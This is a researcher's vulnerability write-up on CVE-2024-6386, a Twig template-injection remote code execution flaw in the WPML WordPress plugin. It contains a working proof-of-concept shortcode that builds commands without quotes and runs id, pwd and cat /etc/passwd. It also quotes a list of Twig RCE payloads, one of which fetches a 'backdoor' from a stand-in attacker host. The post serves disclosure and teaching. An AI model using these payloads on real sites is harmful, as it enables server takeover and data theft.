{"id":56949,"date":"2024-08-27T14:47:29","date_gmt":"2024-08-27T14:47:29","guid":{"rendered":"https:\/\/packetstormsecurity.com\/news\/view\/36260\/WPML-Multilingual-CMS-Authenticated-Contributor-Remote-Code-Execution-Via-SSTI.html"},"modified":"2024-08-27T14:47:29","modified_gmt":"2024-08-27T14:47:29","slug":"wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/wpml-multilingual-cms-authenticated-contributor-remote-code-execution-via-ssti\/","title":{"rendered":"WPML Multilingual CMS Authenticated Contributor+ Remote Code Execution Via SSTI"},"content":{"rendered":"

tldr;<\/h2>\n

Server-Side Template Injection (SSTI) is one of my favorite vulnerabilities, but rarely do I see it outside of CTF competitions…<\/p>\n

The WPML Multilingual CMS Plugin for WordPress used by over 1 million sites is susceptible to an Authenticated (Contributor+) Remote Code Execution (RCE) vulnerability through a Twig server-side template injection.<\/p>\n

Affected Versions:<\/strong> <= 4.6.12
CVSS Score: <\/strong>9.9
CVE-ID<\/strong>: CVE-2024-6386
Links:<\/strong> Mitre<\/a>, NVD<\/a>
Active installations<\/strong>: 1,000,000+
Bounty<\/strong>: $1,639 (WordFence<\/a>)<\/p>\n

About WPML Multilingual CMS<\/h2>\n

WPML<\/a> is a popular plugin for creating multilingual WordPress sites. It offers a robust set of features for managing translations and language switching, making it a top choice for many WordPress users who need multilingual capabilities. WPML is a premium plugin charging between \u20ac39 and \u20ac199 per year.<\/p>\n

<\/figure>\n

Vulnerability<\/h2>\n

The vulnerability lies in the handling of shortcodes<\/a> within the WPML plugin. Specifically, the plugin uses Twig templates for rendering content in shortcodes but fails to properly sanitize input, leading to server-side template injection (SSTI).<\/p>\n

In the code, the callback<\/code> function in class-wpml-ls-shortcodes.php<\/code> processes shortcode content:<\/p>\n

 add_shortcode( 'wpml_language_switcher', array( $this, 'callback' ) ); \/\/ Backward compatibility add_shortcode( 'wpml_language_selector_widget', array( $this, 'callback' ) ); add_shortcode( 'wpml_language_selector_footer', array( $this, 'callback' ) );<\/code><\/pre>\n
Where the callback<\/code> function is:<\/p>\n
public function callback( $args, $content = null, $tag = '' ) { $args = (array) $args; $args = $this->parse_legacy_shortcodes( $args, $tag ); $args = $this->convert_shortcode_args_aliases( $args ); return $this->render( $args, $content );\n}<\/code><\/pre>\n
This calls the render<\/code> function in class-wpml-ls-public-api.php<\/code>, passing the shortcode content as the twig_template<\/code> variable:<\/p>\n
protected function render( $args, $twig_template = null ) { $defaults_slot_args = $this->get_default_slot_args( $args ); $slot_args = array_merge( $defaults_slot_args, $args ); $slot = $this->get_slot_factory()->get_slot( $slot_args ); $slot->set( 'show', 1 ); $slot->set( 'template_string', $twig_template ); if ( $slot->is_post_translations() ) { $output = $this->render->post_translations_label( $slot ); } else { $output = $this->render->render( $slot ); } return $output;\n}<\/code><\/pre>\n
And this variable is then rendered as a twig template string.<\/p>\n
Payload Construction<\/h2>\n
The shortcode below will demonstrate that it’s contents will be rendered as a twig template:<\/p>\n
[wpml_language_switcher]\n{{ 4 * 7 }}\n[\/wpml_language_switcher]<\/code><\/pre>\n
When saved we will see the output of 28<\/code> on the page. <\/p>\n
\n
\n
\n
<\/div>\n
<\/div>\n<\/div>\n<\/div>
\n
1. Entering the test payload into the editor, 2. Execution of the test payload when rendering the post preview<\/span><\/p>\n<\/figcaption><\/figure>\n
Bingpot! We have SSTI!<\/span><\/figcaption><\/figure>\n
But there’s a slight complication here that must be overcome to exploit further. This is the fact that WordPress will HTML encode any single or double quotes. This means we cannot execute any of the classic Twig template injection to remote code execution combos, such as those below (taken from PayloadAllTheThings<\/a>):<\/p>\n
\n
{{_self.env.setCache(\"ftp:\/\/attacker.net:2121\")}}{{_self.env.loadTemplate(\"backdoor\")}}\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n{{['id']|filter('system')}}\n{{[0]|reduce('system','id')}}\n{{['id']|map('system')|join}}\n{{['id',1]|sort('system')|join}}\n{{['cat\\x20\/etc\/passwd']|filter('system')}}\n{{['cat$IFS\/etc\/passwd']|filter('system')}}\n{{['id']|filter('passthru')}}\n{{['id']|map('passthru')}}<\/code><\/pre>
\n
Twig SSTI -> RCE payloads that wont work for us \ud83d\ude41<\/span><\/p>\n<\/figcaption><\/figure>\n
However, we can start by exploring what we do<\/em> have access to, for example:<\/p>\n
[wpml_language_switcher]\n{{ dump() }}\n[\/wpml_language_switcher]<\/code><\/pre>\n
This will output something like the following (but not as pretty):<\/p>\n
array(4) { [\"languages\"]=> array(1) { [\"en\"]=> array(8) { [\"code\"]=> string(2) \"en\" [\"url\"]=> string(34) \"http:\/\/wordpress.local:1337\/?p=126\" [\"native_name\"]=> string(7) \"English\" [\"display_name\"]=> string(7) \"English\" [\"is_current\"]=> bool(true) [\"css_classes\"]=> string(121) \"wpml-ls-slot-shortcode_actions wpml-ls-item wpml-ls-item-en wpml-ls-current-language wpml-ls-first-item wpml-ls-last-item\" [\"flag_width\"]=> int(18) [\"flag_height\"]=> int(12) } } [\"current_language_code\"]=> string(2) \"en\" [\"css_classes\"]=> string(41) \"wpml-ls-statics-shortcode_actions wpml-ls\" [\"css_classes_link\"]=> string(12) \"wpml-ls-link\"\n}<\/code><\/pre>\n
This output provides enough letters that we can start using it to create customer strings. For example we can create s<\/code> by:<\/p>\n
{% set s = dump(current_language_code)|slice(0,1) %}<\/code><\/pre>\n
This works by grabbing the first letter from the output of dump<\/code> on the variable current_language_code<\/code>, this will always be s<\/code> as it is a string and dump always prints string(n)<\/code> before the contents of the string.<\/p>\n
\n
\u2139\ufe0f<\/p>\n
Note when choosing variables to grab the characters from, it’s best to opt for those that are going to be the most stable. This will make the exploit more reliable between different environments.<\/p>\n<\/div>\n
This can be repeated until we have the chars to spell out system<\/code> which will allow us to execute arbitrary commands. Here use the ~<\/code> operator to join the chars together into a string. For example, once we have the letters defined, the basic id<\/code> command can be executed as follows:<\/p>\n
{% set system = s~y~s~t~e~m %}\n{% set id = i~d %}\n{{[id]|map(system)|join}}<\/code><\/pre>\n
Once we have the ability to execute shell commands we can even use the output from the shell to give us access to further letter we may find difficult to obtain via templating. This can be seen in the snippet below, where a slash \/<\/code> is obtained from the output of the pwd<\/code> shell command:<\/p>\n
{% set slash = [pwd]|map(system)|join|slice(0,1) %}<\/code><\/pre>\n
This works because pwd<\/code> (print working directory) will always start with a \/<\/code> in Linux, e.g. \/home\/username\/<\/code><\/p>\n
\n
\u2139\ufe0f<\/p>\n
After submission Ivan<\/a> from WordFence pointed out another (simpler\/better) trick to get the specific letters by starting the shortcode template with all the letters you need [wpml_language_switcher]abcde...<\/code> and then obtaining them by using self<\/code> and slicing the string to get each char.<\/div>\n<\/div>\n
Proof of Concept<\/h2>\n
Now that we’ve demonstrated the basics, lets jump in and look at the final proof-of-concept created to exploit this vulnerability:<\/p>\n
[wpml_language_switcher] {# Find letters we need as we cant use any quotes #}\n{% set s = dump(current_language_code)|slice(0,1) %}\n{% set t = dump(current_language_code)|slice(1,1) %}\n{% set r = dump(current_language_code)|slice(2,1) %}\n{% set i = dump(current_language_code)|slice(3,1) %}\n{% set n = dump(current_language_code)|slice(4,1) %}\n{% set g = dump(current_language_code)|slice(5,1) %}\n{% set a = dump()|slice(0,1) %}\n{% set y = dump()|slice(4,1) %}\n{% set e = dump(css_classes)|slice(36,1) %}\n{% set w = dump(css_classes)|slice(12,1) %}\n{% set p = dump(css_classes)|slice(13,1) %}\n{% set m = dump(css_classes)|slice(14,1) %}\n{% set d = dump(css_classes)|slice(35,1) %}\n{% set c = dump(css_classes)|slice(25,1) %}\n{% set space = dump(css_classes)|slice(45,1) %} {% set system = s~y~s~t~e~m %}\n{% set id = i~d %}\n{% set pwd = p~w~d %} We can use the output from `dump` or any other similar function to grab any letters we need to create our strings. Once we have code basic code execution we can use that to grab any letters we may not be able to easily grab via template injection. {% set slash = [pwd]|map(system)|join|slice(0,1) %} {% set passwd = c~a~t~space~slash~e~t~c~slash~p~a~s~s~w~d %} Debug: {{dump()}} Command: {{system}} {{id}} {{pwd}} id: {{[id]|map(system)|join}} pwd: {{[pwd]|map(system)|join}} passwd: {{[passwd]|map(system)|join}} [\/wpml_language_switcher]<\/code><\/pre>\n
Exploitation<\/h3>\n
By using the above payload, a Contributor+ user can gain command execution on the server. The crafted payload uses the dump function to gather letters needed to construct commands without using quotes. Once we have basic command execution, we can further leverage it to gain more control over the server.<\/p>\n
\n
\n
\n
<\/div>\n
<\/div>\n<\/div>\n<\/div>
\n
1. Entering the final payload into the editor, 2. Execution of the final payload when rendering the post preview<\/span><\/p>\n<\/figcaption><\/figure>\n
Timeline<\/h3>\n